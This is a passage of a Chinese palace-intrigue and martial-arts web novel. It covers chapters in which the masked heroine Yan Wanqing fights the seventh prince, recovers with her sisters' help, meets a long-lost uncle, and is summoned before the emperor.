“废话少说,这么多年没见了,让我看看你这些年修为跟进了没有。” 虚空一脸温柔,异瞳在黑夜之中熠熠生辉:“打打杀杀的真粗鲁,这么多年没见了,师兄不与师弟我叙叙旧么?” “动手吧。”回应虚空的是男子的一记掌风。 掌风卷起地上的砂砾,虚空虽然侧过身躲闪了,但那砂砾还是直接刮在了虚空的脸上,他抽了一下唇角。 异瞳多了几分冷色。 虚空伸出手摸了摸脸,指尖染上了鲜血。 原本还和颜悦色的他猛地阴沉下脸来。 “宋化虚你个老秃驴,竟敢伤了我的脸!” 宋化虚见虚空开骂,他面不改色,双眸一直很平静,抬手又是一记掌风。 虚空这次直接跳跃起来,落在了屋檐之上。 “那师弟我也没有必要手下留情了。” 他双手合十,周身气压骤然下降,宛若无心之中有一双大手,将空间挤压,周围的树木瞬间化为了齑粉! 出手便是杀招! 宋化虚冷哼一声,此时他已经不是那个长安街上骑着毛驴的老者了,今夜的他褪去了所有的伪装,宛若一个没有情感的神明,只见他瞬间脱身地面,站在了虚空对面的屋檐之上,纷争一触即发! 另外一边。 鬼面人扶着墙壁,弯腰猛地吐出一口鲜血。 她赫然就是燕晚清。 此刻的她强忍着血气翻涌带来的晕厥,脑海中却有一件更加让她难以接受的事情。 那名看起来十分年轻的道者。 功法招数,赫然和她的师父宋化虚如出一辙。 可是他们从神态模样,根本不是一个人。 到底是怎么回事? 虚空为何又喊他师兄。 燕晚清的脑子像是要炸掉一样。 她刚要摘下面具喘口气,突然警惕的回过了头。 只见萧鸿深慢悠悠的从墙上一跃而下。 “跑啊,怎么不继续跑了?” 第一百五十六章 你,在心疼本殿 燕晚清一看见是萧鸿深,整个人都戒备起来。 她哑着嗓子说道:“七皇子真是好胆量,一个人竟然敢追出来。” 萧鸿深冷哼一声,上下扫了一眼燕晚清:“就你现在的状况,压根不是本殿的对手。” “我打不过你身边的那个人,但不代表打不过你。”燕晚清从腰上抽出软剑,薄如蝉翼的利刃在月光之下闪烁着寒光,双眼在鬼面具的衬托下异常阴森。 萧鸿深见状眼中闪过忌惮,他勾唇:“不过是个见不得光的老鼠,也敢搞这等虚张声势的东西。”说着他猛地抬手便袭击过来。 燕晚清闪身躲过的瞬间,背上挨了一掌,刚刚那口咽不下去的鲜血瞬间从喉间喷涌而出! 只看见墙上溅上去一串血滴子。 她靠着身体的柔软度,迅速转过身去,躲开了萧鸿深的第二波攻击。 看着墙上的血迹,萧鸿深轻蔑的说道:“你已经身负重伤,识相的话乖乖束手就擒,不然本殿可没有那么好的耐心,待会儿下手狠了,可能就直接弄死了。” “七皇子殿下竟然在这种情况下还有心情还追我。”燕晚清吐掉了胸腔内的淤血,整个人好受了很多,她看着萧鸿深的样子,冷笑道:“今夜七皇子的所作所为,陛下一定大为震惊,相信不用等到天亮,你的好日子也到头了。” “那又如何?”没想到萧鸿深根本不害怕。 燕晚清微微蹙眉,难道是因为刚刚他身边的那个人的存在? 对于那个道袍男子,她有一种说不清楚的熟悉感。 这种熟悉感就好像是…… “肮脏的老鼠,就知道戴着面具,本殿倒要看看这面具之下是一张什么样子的脸!”萧鸿深出手成爪,朝着燕晚清攻了过来。 燕晚清抽出软剑,毫不客气的回击。 眼下她的功力恢复了差不多,虽然刚刚被那人伤的不轻,可眼下一个萧鸿深她还不放在眼里。 “既然是你送上来的,不收下你的命那就是在下不识趣了!”面具之下勾唇露出一抹微笑,她眼里的光芒变得越发的浓稠,手里的招式也愈发的凌厉起来。 萧鸿深没有想到刚刚还气息微弱的人,现在就像个疯子,他皱着眉头勉强的应付着。 “七皇子殿下,有没有人跟你说过,你这张脸很讨人厌?”燕晚清抬手之间,在他的脸上猛地扇了一下。 清脆的巴掌声在这场战斗之中极为突兀。 萧鸿深杀意怒增:“本殿要你死!” “真巧,我也是。”燕晚清不在收敛周身的杀意,开始猛烈进攻,萧鸿深根本不是她的对手,很快落了下风,被打的接连败退,身上的衣服都破烂不堪,鲜血迅速从他的衣服上渗透出来。 杀了他! 杀了他! 燕晚清杀红了眼,只要杀了他,前世今生的仇恨便能消了大半,只要没有这个人的存在,她的人生会通顺很多! 她抬手将萧鸿深猛击在墙上,伸出手直接掐住了他的喉咙,猛地收紧。 近距离接触下,萧鸿深才发现对方如此娇小瘦削。 但是此刻已经由不得他再去观察更多的细节。 喉咙间的收缩,传来的窒息感,让萧鸿深双眼难以控制的往上翻。 难道……就只能走到这里了吗? 燕晚清双眼猩红,手不断用力,胸腔内的恨意在此刻得到了爆炸式的解放。 终于要杀了他了! “放开他!”骤然间一个女子从旁边跑了过来。 燕晚清带着鬼面具不为所动,她微微侧眸看见了一身华服的李呈媛。 是个意料之外的人。 李呈媛微微喘气,她皱着眉头又说了一遍:“放开他!你知道他是谁么?他是——”大渭的七皇子,未来的皇帝! 李呈媛话还没有说出口。 回应她的便是一道劲风。 李呈媛险险躲开。 只听见那个面目可憎的鬼面人,声音沙哑难听,宛若从地狱传来。 “再啰嗦,连你一起杀了。” “滚!” 燕晚清变得不耐,她从袖口甩出一把匕首,朝着萧鸿深的胸口插去,匕首已经没入一分,被疼痛惊醒的萧鸿深骤然爆发出对生命的渴望,猛地睁开了双眼,双手用力去抵抗燕晚清的进宫。 燕晚清双眼如炬。 今夜,既然萧鸿深犯到了自己的手里,那么他就得死! “七皇子殿下,我来救你!”身后的李呈媛喊了一身,只看见她猛地撕开自己下身的裙摆,露出一双颀长白皙的双腿,她从头上拔下簪子,身形灵动的窜了上来。 燕晚清根本没有将李呈媛放在眼里,抬手便是简单的一推,但是她没有想到的是! 李呈媛以一种极其刁钻的角度扭过去了,而且瞬息间在她的腰椎上一点,只觉得周身一麻,不过是这眨眼的功夫,手里的萧鸿深便被她推到了旁边去。 匕首掉在地上发出了清脆的响声。 燕晚清双眼阴翳,死死的盯着李呈媛。 “小看人是得付出代价的。”李呈媛一如既往的傲慢与讨人厌。 她手里捏着可笑的簪子,却结结实实的挡住了接下来燕晚清所有的攻击。 招式动作刁钻诡异,分明不是常规招式。 燕晚清本就受伤,再加上前面和萧鸿深的一阵纠缠,眼下她被李呈媛一波攻击搞的极为烦躁,心血翻涌,喉间再次忍不住涌出一股子血腥气味。 李呈媛却觉得自己让对方吃了瘪。 她以母鸡护崽的姿势挡在萧鸿深的面前。 “七皇子殿下你不要害怕,我一定会保护好你的,不让这个不人不鬼的东西伤害到你!” 不人不鬼? 燕晚清简直要被气笑了。 远处传来脚步声,燕晚清将软剑从地上捡起,眼角猩红。 看来今日杀不掉萧鸿深了。 真可惜…… 她抬眼最后深深的看了他一眼,然后转身脚尖一点跃上了墙头。 李呈媛追了两步:“站住!” “不要追了。”萧鸿深强忍着嗓子的疼痛,低哑着说道。 李呈媛这才作罢,回到了他身边:“要是臣女早来一点,殿下也不会受这么重的伤。” 说着她双眼一红,落下泪来。 萧鸿深胸口上的伤口不深,只是血流的多,有些吓人。 但是眼下这种情况,看到李呈媛为自己落泪,他还是愣了一下。 萧鸿深慢吞吞的伸出手,用手背擦了一下她眼角的泪水。 “……你,这是在心疼本殿么?” 第一百五十七章 主子设的局,无人能破 燕晚清跌跌撞撞回到院子里,脱掉身上沾染血腥气的衣服,然后直接一头栽进去了水池里面,巨大的水花,惊醒了床榻上打瞌睡的燕凌珍。 她在山上看到了烟花,心中十分惊奇,这才和五姐姐燕红昭一路飞奔回来。 结果回来之后烟花就结束了。 燕凌珍累的不行,在屋子里也没有找到阿姐,索性直接在榻上打起了瞌睡。 眼下巨大的水花声,让她惊醒。 出于一个医者对于血腥的敏感,她一下子就清醒了。 “阿姐?”燕凌珍从床榻上抑郁而下,将屋内的烛火点燃,然后试探性的喊道。 五妹…… 燕晚清想回应她,意识却越来越模糊不清,她感觉的到自己顺着边缘往下滑,温热的水将她完全的包裹着……好温暖,温暖到不想清醒过来。 “阿姐!”燕凌珍借着微弱的烛光,看清楚水池边的情况,她大喊着朝着那边奔跑过去。 燕凌珍一下子跳到了水池里面,身形矮小的他在水池里根本施展不开来,呛了好几口水之后,燕凌珍终于扑腾到了燕晚清身边。 “阿姐阿姐你醒醒,你没事吧?阿姐你不要吓我。”燕凌珍只能看见清澈的水池被逐渐染上了粉色,岁水不断的从她怀中的燕晚清身上弥漫开来。 这到底是发生什么事情了? 她不过是和五姐姐出去采了两天的药,阿姐怎么把自己搞得一身是伤。 燕凌珍费了九牛二虎之力,好不容易拉着燕晚清到了池子边上。 她赶紧检查了一下伤口,眉头紧皱不解。 内力损耗,丹田也损害大半,阿姐这是跟谁干仗了! 燕凌珍强忍着心中的惊讶。 在屋子里连跑带走的将自己的药箱拿过来,还有自己今天刚发现的药材,不要钱一样全部塞进了燕晚清的嘴里。 这样还不够。 燕凌珍顾不得自己身上湿了大半,推开门跑到了隔壁,将睡觉的燕红昭喊了起来。 “来不及细说,先给阿姐用内力催化一下体内的药,让她更快吸收。” 燕红昭揉了揉睡成三层眼皮的眼睛,老实巴交的坐下来给燕晚清运功疗伤。 燕凌珍也不闲着,将自己的特药效往伤口上抹。 听丫鬟们说阿姐眼下分明还在宴会上。 那么只说明了一件事情,今夜阿姐的行动不能被人知道。 她得帮助阿姐尽可能的减少别人的怀疑。 俩姐妹忙了好一通,累的口干舌燥。 燕红昭将燕晚清身上的衣服换了一套,然后扶着她慢慢躺下。 “小六,快倒点水,渴死我了。”燕红昭哑着嗓子说道。 好在是夏天,茶水越凉喝的越痛快。 燕凌珍吨吨吨灌了个舒服,然后用手背擦了一下唇角:“今天晚上注定是不太平的,五姐姐你守着阿姐,别人问你就说阿姐在宴会上面,要是有人要硬闯,你便打出去。” 燕红昭知道自家五妹一向是有主意的,于是她点点头。 “小六你要干嘛去?” 燕凌珍看了一眼床榻上面色苍白的燕晚清,小小的一张脸上都是凝重的表情。 今夜的烟花,分明说了一件事情。 这根本不是这个时代的技术。 燕凌珍心中有了自己的猜测,她胡乱将一件衣服换上,然后朝着外面走去。 燕红昭看着她的背影,再回头看看自家阿姐,瞌睡瞬间跑了个干干净净。 再说红雾在一群贵女里面周旋,脸都笑僵了。 刚刚李呈媛离开的时候,她打算跟过去,可是被几个贵女给缠住没有脱得开身。 等到前面一阵喧闹,看着一身是伤的七皇子和李呈媛一起出现的时候,红雾暗叫一声不好。 不知道主子现在如何。 红雾看着萧鸿深被人拆扶着从旁边路过,对方的目光从她的脸上扫过,红雾面上不动声色,心里还是咯噔了一下。 “等一下。” 萧鸿深突然说道。 李呈媛疑惑的看了他一眼:“怎么了殿下?” 萧鸿深打量着红雾:“郡主今日一直都在宴会之上么?” 红雾学着燕晚清之前对待他的态度,轻笑一声:“不然本郡主应该在哪里?今日这场宴会可是瑶池县主举办的,本郡主轻易不敢走啊。” 李呈媛不满萧鸿深受此重伤,还在关注着燕晚清,当下眼中闪过了嫉妒。 “殿下,太医都等着呢,你身上还有伤啊。” 说着她又看向红雾。 “安平郡主麻烦让一让,不要挡着七皇子殿下,你也看见了殿下现在深受重伤,再不医治的话谁都承担不了这个后果。” 红雾淡淡的扫了她一眼。 真的就是主子今天对她客气了,这女的将谁都不放在了眼里。 于是红雾看着李呈媛说道。 “是七皇子要跟本郡主说话,而不是本郡主站在路中央挡着你们,这罪责县主可胡乱往本郡主头上扣。” 一番话下来,依旧还是那个得理不饶人的语气。 萧鸿深眼中的猜忌稍微打消了。 刚刚被那人掐着脖子的时候,靠的十分的近,他依稀闻到了身上传来的幽香,十分的熟悉。 所以这才故意去试探了一下燕晚清。 “安平郡主怎么能够这样说话!”李呈媛就要发脾气。 萧鸿深被吵得脑子疼,他拉了一下李呈媛:“进去吧,没必要和这种人生气。” 李呈媛见萧鸿深当众说燕晚清的不是,心里舒坦了一会儿,于是她冷冷的带着警告意味的目光扫了红雾一眼,这才扶着萧鸿深继续往前走了。 红雾站在人群中看着那二人你依我浓的模样,眼底都是一片冷意。 今夜远没有结束。 主子设的局,萧鸿深无论如何都破不了! 太医给萧鸿深包扎伤口,见伤口如此重,担心的问道。 “殿下这是发生了何事?” 萧鸿深眼中闪过一抹深色,他表情凝重的说道:“今夜有歹人进来,本殿巡逻的时候发现了,与之交手这才受了重伤,眼下你们也不要再举办宴会了,本殿担心有人和他们里应外合,要对父皇不利。” “这!”太医一听这个,慌张不已。 萧鸿深又安抚道:“不过不用太过担心,眼下国师大人已经赶回来主持大局了,本殿的人也已经都到了父皇那边,眼下父皇已经安全了。” 正说着,门口就来了皇帝身边的太监。 太监一看萧鸿深深受重伤,赶紧问原因,太医便将刚刚发生的事情说了一遍。 太监眼中闪过异色,他看了一眼虚弱的萧鸿深,行了个礼:“既然是这样,咱家也不耽搁了,得赶紧回去和陛下皇后禀报情况。” 说着他甩着浮沉赶紧往回走了。 殿内。 皇帝意味不明的听着太监的禀报。 “他当真是这样说的?” 太监匍匐在地上:“回禀陛下,千真万确。” 皇帝冷哼一声:“里应外合?歹人?” 张岚依十分害怕的依偎着皇帝:“若是真有歹人,那七皇子这次可是立功了,以一人之力挡了他们所有人呢。” “他有几斤几两,朕还不清楚?”皇帝听着明显恭维七皇子的话,不耐的摇了摇头:“没死,就让他赶紧滚过来回话。” 说着他直接挥手让公公出去了。 旁边的张岚依掩盖住眼里的暗色,表情依旧十分害怕。 第一百五十八章 没有关系,该当何罪 此时太医正准备给萧鸿深医治伤口。 李呈媛在旁边看着萧鸿深胸口上那一长道的划痕,心惊肉跳,忙问道太医。 “这要如何医治?” 太医叹了一口气:“伤口不深,但是血流不止的话,殿下还是会有生命危险。” “你打算用铁烙?”李呈媛不敢相信:“这干净吗?!” 那烧得通红的铁烙烫在人身上,还有命活吗?! 难怪古代人都活的不长远。 这么俊美的一个皇子,要是身上留下了这么可怕的疤痕,实在是影响她的眼睛。 以后每一次坦诚相待,她都能看见这跟蜈蚣一样的疤痕……萧鸿深长得再怎么俊美,她都不会有兴致了。 不行,为了自己往后的幸福生活,李呈媛觉得自己应该要做点什么。 可是她的职业是幼师,再多一点就是跟着父亲学了几年的散打,对于疗伤实在是没有把握。 李呈媛想着之前看的那些。 于是她说道:“给我准备针线,热水,还有火烛。” 太医瞧着她年纪轻轻,眼中闪过疑惑:“这是要做什么?” “本县主要给七皇子亲自缝合伤口。”她教小朋友手工活是挺厉害的,应该大同小异。 虽然她不会,可是她是天选之女。 应该问题不大。 李呈媛对自己充满了信心。 太医见她疯疯癫癫的样子,心中不喜:“这可不是儿戏,关乎七皇子殿下性命的事情,希望瑶池县主不要胡闹。” 被一个老头说是胡闹,李呈媛面子上挂不过去了。 她冷着脸说道:“本县主也十分关心七皇子殿下,想要为殿下做点什么,你这铁烙躺下去,人也没有多少活路吧,还说本县主胡闹,你身为太医院的太医,本县主还想问问你,为何还只是用这些民间的法子!” 太医被李呈媛劈头盖脸的骂了一头,当下来了怒气。 可是碍于七皇子在这里,他不好直接发作。 “既然县主有法子,那么殿下便交给县主了,但是事先说好了,这件事情和本太医没有任何关系,往后殿下或者陛下问责,还希望瑶池县主有点担当,自己承认了去。” 李呈媛也硬气,她咬着牙说道:“都说医者父母心,但是看你这副样子,根本不配当太医!” 太医也算是在宫里带了很多年,早就白发苍苍,此刻哪里受得了这个气。 “那这里就交给县主吧,老夫现在就去跟陛下告老还乡!”说着,太医气呼呼的起身,提着药箱就离开了。 这些话萧鸿深都听见了。 可是他实在是失血过多,根本没有办法全部睁开眼睛,就连说一句话都是奢侈。 眼看着太医气呼呼离开的身影,萧鸿深朝着太医张了张手指,用尽全身的力气说道:“回……”回来! 李呈媛却听成了别的。 她双手抱住萧鸿深的手:“殿下想喝水?” 她赶紧招呼着丫鬟:“快点,倒水,殿下要喝水。” 水杯递到了萧鸿深的唇边,却根本喂不进去。 李呈媛脸红了一下,当着一屋子下人的面,将水杯里的水一饮而尽,然后低头吻上了萧鸿深的唇。 萧鸿深半眯着的双眼里,隐约闪烁着晶莹。 大部分的水都进了他的衣襟。 李呈媛却像是完成了一件大事一样,松了一口气。 不过事情还没有结束。 她看着众人说道:“你们都出去吧,接下来我不希望任何人进来,本县主要给七皇子殿下医治了。” 李呈媛要的东西都已经准备好了。 她洗干净手,回想着自己之前是缝合娃娃的,开始坐下来给萧鸿深缝合伤口了。 萧鸿深强忍着针线从皮肉上面过去的疼痛,终于没忍住,疼晕了过去。 不知道过了多久,李呈媛终于大功告成。 她将太医留下来的药撒在了萧鸿深的伤口上,心疼的用帕子给他擦拭着额头上的冷汗。 “殿下你信我,很快你就会好的。” 此时外面传来了声音。 李呈媛听着外面的吵闹声,有些不满,她猛的把门推开,对着外面大声喊道:“都在吵些什么,不知道七皇子受伤了吗?吵吵闹闹的成何体统。” 说完,她眼神凌厉地环视着众人。 而外面其实,皇帝身边的公公已经来了好几回。 一直被这边的人搪塞着说瑶池县主正在给七皇子殿下疗伤。 公公干巴巴的等了一个多时辰才看见故事的主人公从里面走出来。 谁曾想到这瑶池县主一开门便是对他劈头盖脸的一阵骂。 公公跟在皇帝身边多年,在宫里也是数一数二的老人了,何曾受过这等气。 公公心里想着这李家出来的女儿,小门小户的当真是不懂理数。 再怎么飞上枝头变凤凰了,身份地位变高了,科是骨子里的教养是死活拉不上去的。 这样想着,公公眼中都是鄙夷。 李呈媛丝毫没有注意到,她骂完了心里舒服了,才发现陛下身边的公公站在门外。 当下面色不好,脸上讪笑道:“公公你怎么在外面呀?快些进来,本县主已经给七皇子疗完伤了,只要今天晚上不发高烧,熬过去,那就没有事了。让陛下那边不必担心。” 公公心中冷笑陛下,陛下那边哪里是担心,分明就是生气。 陛下此时此刻恨不得七皇子断手断脚都得过去。 于是公公说道。 “瑶池县主可能搞不清楚状况,今夜外面发生了一点事情。 陛下抓住了一些人,想要拉七皇子过去慰问话,事关紧要,事态严重,陛下今天发话了,哪怕是七皇子昏迷不醒,咱家让人抬着去,他今天都得过去。” 李呈媛突然就想到了今天晚上的那个鬼灭人,她着急的说道:“这件事情和七皇子殿下没有关系,那个人我也看见了,真的是有歹人——” 公公不耐烦的直接打断了她的话:“这件事情你跟我说没有用,你得跟陛下说,陛下听得进去那么大家就相安无事。但倘若听不进去,那也跟咱家没有任何关系,一切都是七皇子殿下的命数了。” 李呈媛一听到这话,气不打一处来。 一个太监竟然能说出这种话。 于是她说道:“这件事情陛下都没有下定论,你一个公公在这边信口开河,倘若这件事情跟七皇子殿下没有任何关系,你又该当何罪?” 第一百五十九章 一母同胞,我们是双生子 “有没有定论,也和瑶池县主现在没有任何关系。”公公毫不相让。 他就没有见过品性这般差的女子。 整个京都都找不出这么个不懂礼数的东西了。 公公就差将自己很讨厌李呈媛刻在脸上了。 可是李呈媛就跟没有看见一样,一心都放在七皇子身上。 “殿下现在深受重伤,要是中途出了纰漏,你担当得起吗?” “瑶池县主要问责的话,麻烦待会儿到了陛下面前问,眼下老奴就要将七皇子殿下带到陛下面前去。”公公懒得再说话,一招手:“都愣着干什么啊?这点眼力劲没有,耽误了陛下的事情,小心你们的脑袋!” 这话已经十分明显了。 李呈媛再怎么愚蠢也算是听明白了。 公公今日带的都是铁甲军,个个都包裹在森冷漆黑的铁甲里面,手持铁剑,站在那边十分有气势。 李呈媛刚刚气头上没看见,这会儿见了,心里还是忍不住发憷了。 公公冷笑一声。 “瑶池县主让让道儿吧。” 李呈媛心气不顺:“你——” 此时铁甲军已经行至前段,四目相对下,李呈媛只得退了下去。 山不转水转,风水轮流转,等到这件事情水落石出,证明了七皇子殿下的无罪,有的这些狗眼看人低的下贱人的好看。 李呈媛知道七皇子萧鸿深就是最后登上皇位的人,所以心里一点都不慌。 铁甲军直接将门拆除,然后抬着床榻出来,将七皇子给抬走了。 李呈媛半点不离开的跟了过去。 路上,燕凌珍远远的看见了,心中一阵好奇,却不敢耽搁太久。 红雾打扮的燕晚清站在门口打算出去,正巧两个人碰了个对着。 燕凌珍眸光一闪,她拉着红雾的手说道:“阿姐时辰不早了,小六想要阿姐讲故事睡觉。” “多大的人了,还要阿姐哄。”红雾看着众人笑着说道:“既然是家里人来寻了,本郡主也不耽搁,先回了,诸位请便。” 二人相携出了门,路上燕凌珍逻辑清晰的跟红雾说了燕晚清的事情。 红雾一听自家主子受伤了,心里急得不行,脚步都快乐些许。 等到二人回到了院子。 燕凌珍便敲了敲门。 里面的燕红昭警惕问道:“谁?” “是我小六,五姐姐开门。”燕凌珍说道。 燕红昭开了门,看到门外也站着个燕晚清,愣了一下:“阿,阿姐?” 红雾直接走进了屋子,背过身去将门关上,然后撕下了脸上的面具,露出自己的面容来。 “主子现在的情况如何?”红雾问道。 燕红昭叹了一口气:“一直没醒过来。” “这可如何是好。”红雾心中忐忑:“眼下陛下已经将七皇子殿下召唤过去了,不知道是否会喊主子过去。” 燕凌珍想到了刚刚看见的奇观:“原来八个铁人抬得床上躺着的是七皇子啊。” 啧啧,这老皇帝手段可以啊。 连人带床给他端过去了。 “应该不会,这烟花是七皇子放的,跟我阿姐有什么关系。”总不能吃瓜吃到自己头上吧。 燕凌珍十分坦然。 红雾心中憋着事情,也没办法和面前的两位小姐细说。 她只能硬生生的咽下去。 眼下只能静观其变了。 燕晚清静谧的睡在榻上,微微蹙着眉头,表情十分不安,却没有发出任何声音。 三个姑娘便在屋内陪着她,各自想着各自的事情。 只希望今夜就这么悄无声息的过去。 可事与愿违。 门外传来了脚步声,很急促。 燕红昭和红雾对视了一眼,红雾跃上了房梁,慢慢的掏出了自己的匕首。 外面人凑近门口的时候,一股子浓厚的血腥气扑面而来。 “他受伤了。”燕凌珍对于血气很敏感。 燕红昭双手攥成拳头,对着门,即便是燕凌珍也将自己的毒针准备好了。 门外的人轻轻的咳嗽了一声:“开门,我是燕家故人。” “故人?”燕凌珍眼中闪过怀疑。 “先开门让我进来,我有事情要和郡主交代。”说话人又接连咳嗽了好几声。 燕凌珍对着燕红昭点了点头:“开门吧五姐姐。” 倘若对方撒谎,她一定让他躺下去,她最近研制的毒可不是吃素的。 燕红昭去开了门。 门外站着一个外形俊美的和尚,他的唇角带着血迹,面色苍白,整个人看起来状况不是很好。 当然他伪装的很好,相信在座的出了燕凌珍没有人能够看得出来。 虚空看着一大一小两个姑娘,面色柔和了几分:“你们便是小五和小六吧。” 燕红昭警惕的问道:“你是谁?找阿姐做什么?” 从未听阿姐说过有这么一位故人。 虚空转过身将门关上:“这件事情说来话长,燕晚清在哪里。” 他记得今日宋化虚对她下手不轻,虚空过来看看,万一要是出了什么事情,九泉之下他对不起燕家人。 燕凌珍指着床榻说道:“阿姐现在还没有醒。” “怎么会?”虚空蹙眉,他快步走了过去,食指和中指就要放在燕晚清露在外面的手腕上,只听见燕凌珍冷冷的开口。 “再敢多一个动作,我就让你死。”燕凌珍皱着眉头走了过去,见虚空看她,她丝毫不退缩:“你还没有说你是谁,如果说来话长,那就长话短说,反正说不清楚,一律都当做是坏人处理。” 虚空被眼前的这小丫头说了一通,眼角忍不住溢出笑意。 燕凌珍这才注意到他双眼的颜色不太一样。 异瞳。 异瞳者,在古代不都是当做妖物么? 这人…… 她来不及细想,便听见虚空说道。 “其实,说起来,你们应该喊我一声叔叔。” “什么???”燕凌珍和燕红昭齐声说道。 就连房梁上的红雾都愣了一下。 “叔叔?”燕凌珍简直不敢详细自己的耳朵:“我从未听说过父亲还有兄弟,难道你是燕安的兄弟?” 虚空摇了摇头:“我与你们的父亲,也就是我的大哥,一母同胞,我们是双生子。” 消息越来越劲爆了。 燕凌珍有些消化不过来。 “可是,可是你看起来十分年轻,怎么会是父亲的兄弟呢。” 虚空勾唇无奈的笑了:“你以为你父亲有多老?” “母亲的书房里有父亲的画像——” “画像哪里能够画出真人的全部。”虚空摇了摇头:“你父亲与我有五六分相似,当时因为皇家忌惮,再加上我出生便是异瞳,异瞳者都是能够颠覆国家的存在,所以你们的爷爷当时其实是打算直接掐死我的。” “怎么能这样啊。”燕凌珍皱眉:“不过就是因为眼睛颜色不一样而已,可是颜色是由虹膜里面的黑色素多少决定的,怎么可以妖魔化别人呢。” 听着小丫头抱打不平,虚空心里舒服了不少,却也没有听明白她嘴里其他话语的意思。 “当时是我母亲动了恻隐之心,最后连夜将我送到了外面,这才躲过一劫。”虚空继续说道。 第一百六十章 皇帝突召,情况危急 “之后的几十年贫僧便一直都在四处流浪,这几年才定居在南山上面。”虚空说道:“这件事本来打算晚点再说的,可是今晚情况实在是比较特殊。” 他半路越想越不对,扭头就回来了,果然看见这小狼崽子遇到了危险。 按照宋化虚的道行,燕晚清再练二十年都不是他的对手。 就连他今日都是身负重伤。 不过宋化虚也没有好果子吃罢了。 虚空忍不住咳嗽了一声,喉间一股子刑天腥甜涌了上来,他用力摁压下去,露出一个笑容:“现在可以让我给她把脉了吗?” “你自己都是强弩之末了,还给我阿姐把脉?”燕凌珍咋舌道:“大人都这么喜欢逞强的吗。” 此时虚空的手已经摁在了燕晚清的手腕上,原本如常的面色此刻微微露出惊讶:“这?”情况好像不如他想的那般糟糕。 燕凌珍得意的勾唇:“叔叔不如伸出手让我也来把个脉吧,再逞强下去,不出一盏茶,你可能会直接晕厥过去。” 虚空这才意识到燕晚清情况好转的绝大部分原因,一定是因为面前这个小丫头。 看着她年纪不大,但是说话做事都是十分沉稳老练,虚空心中也多了几分说不清楚道不明白的成就感。 他们燕家人,果然个个都不一般啊。 燕凌珍给虚空把脉之后,面色多了几分严肃。 “经脉几乎毁了大半,刚刚山里面的动静是叔叔闹出来的?”燕凌珍问道。 虚空点了点头,虚弱的苦笑道:“这么多年一直都不是他的对手,此番也是费了九牛二虎之力,用了一些法子,才将他困在了山林之中。” 燕凌珍从怀中取出一个药瓶,小心翼翼的倒出来一颗金灿灿的药丸。 “这是?”虚空一看便知道这颗药丸并非俗品。 燕凌珍毫不掩饰自己一脸肉疼,她撇开脸去,将手伸了过去:“快吃了吧。” 虚空也不扭捏,直接拿了服下。 服下之后便感觉一股热流从丹田之处迅速上升,他面色一喜,也不含糊,直接席地而坐,双腿盘住开始运功疗伤。 燕凌珍将自己是手心放在鼻息间重重的吸了一口气。 这可是她耗费了三年多研制出来的特效药,就这么一颗。 掌心里似乎还残留着药香,那是她逝去的三年青春。 不知道过去了多久,两姐妹坐在椅子上,小鸡啄米似的打瞌睡。 就在这时外面又再次传来脚步声,只不过这一次人更多。 “安平郡主,请问郡主歇息了吗?陛下有令让郡主即刻进谏。”外面传来太监特有的阴柔奸细的嗓音。 两姐妹的瞌睡瞬间被吓跑的一干二净。 这该来的还是来了。 房梁上的红雾听出来了,这就是刚刚和李呈媛吵架的那位。 皇帝面前的红人,贴身太监公公。 公公见屋内漆黑一片,又没有声音,有些狐疑的说道。 “在宴会上瞧见了,难道这会儿就已经睡着了,这才多久啊?” 这可是陛下的召唤,七皇子连床榻都给抬过去了,安平郡主哪怕是睡着了,现在也要喊起来。 公公抬手对着手底下的小太监说道:“去敲门。” 小太监唯唯诺诺的上前伸出手敲门。 公公见状,声音拔高:“没吃饭啊,用点力。” 小太监这才大声的开始敲门。 只是屋内依旧鸦雀无声,偌大的院子就连个丫鬟都没有。 公公心中起了疑心,他微微蹙眉。 “继续敲门,若还是没有人出来,就直接破门而入吧,横竖今日要给陛下一个交代,今日已经得罪了很多人,咱家也不差这一个两个的。”皇帝身边的人就是皇帝手里的一把刀,这种刀的人想指向哪儿,这刀就该指向哪儿,换言之,像他这样的人,在皇帝身边还有很多,今日皇帝拿他当刀使,他就不应该左顾右盼,犹犹豫豫反而坏了皇帝的事情。 公公心中自然有一杆秤,整个京都最尊贵的人是他的靠山,他实在没什么好怕的。 又敲了一会儿,屋内还是没有反应,公公没了耐心直接亲自上前,他用手重重的拍在门上。 “郡主,咱家要进来了,如有冒犯,多有得罪。” 说着他猛的推门,就要进去。 就在这一刹那,门被打开。 燕晚清站在门里,面无表情的看着公公。 公公因为惯性险些摔倒在地上。 燕晚清挑了挑好看的柳梢眉:“大晚上的不睡觉,公公这是何意?” “回禀郡主,此番老奴多有得罪,实在是陛下有令,让郡主前去问话,咱家也让人敲了一会儿门了,眼下实在是着急了,还望郡主恕罪。” “刚刚也算是宫里的老人了,这女儿家起床梳洗打扮还是要费些功夫的,既然是要面见圣上,形容仪表都得注意,让公公久等了。” 带着些许娇俏的话语,让人如沐春风,一点也没有疏离感。 公公听完只觉得是自己有些着急了,当下露出一抹不太自在的笑容说道:“既然郡主梳洗打扮好了,现在能否跟着咱家去面见陛下皇后了?” 燕晚清温柔的点了点头:“当然可以,还请公公前面带路。” 公公连忙走在前面,伸手做出请的姿势,燕晚清亦步亦趋地跟着。 一大群人浩浩荡荡的走了出院子。 门内的人才松了一口气。 此时虚空还坐在地上打坐,额头上是密密麻麻的汗水,丝毫没有要清醒的意思。 “还好是阿姐及时醒了过来,不然真的让那公公进门,还不知道要闹出什么事端来。”燕红昭忍不住说道。 燕凌珍注意到房梁上的红雾已经离开,应该是跟着阿姐过去了,心里稍微安定了些。 “现在最需要的是担心阿姐的身子,现在还不知道皇帝召唤阿杰过去是为了什么事情,倘若是怀疑到阿姐的头上,那才是最最危险的。”燕凌珍忧心忡忡的说道。 “那我们应该怎么办,是否需要召集一些人手?”燕红昭皱着眉头,其他人的事情她都是不带搭理的,但是只要关乎到阿姐的事情,她总是冲在第一个。 “再等等消息,别关心则乱,坏了阿姐的大事。”燕凌珍知道自家阿姐总是能够运筹帷幄的,今日皇帝的召唤也可能在她的算计之中。 如果真的是出了什么事情,那么她们也就只能孤注一掷了。 第一百六十一章 皇帝今晚,诛心 深夜,四下无风,空气中都弥漫着焦躁的热浪。 光是走这一段路,燕晚清便热的汗流浃背。 此刻的她五脏六腑都是扭曲的疼痛,偏偏脸上还不能有任何表情。 好不容易等到了,公公进去禀告,又说让她在外面等一会儿。 燕晚清没辙,只能一直站在殿外等候。 又等了半个时辰,她的内衫已经湿了个透。 靠着小六给的药麻痹伤口带来的疼痛,如果不是这样,只怕她根本撑不下去。 “郡主,陛下喊您进去呢。”小太监出来对燕晚清说道。 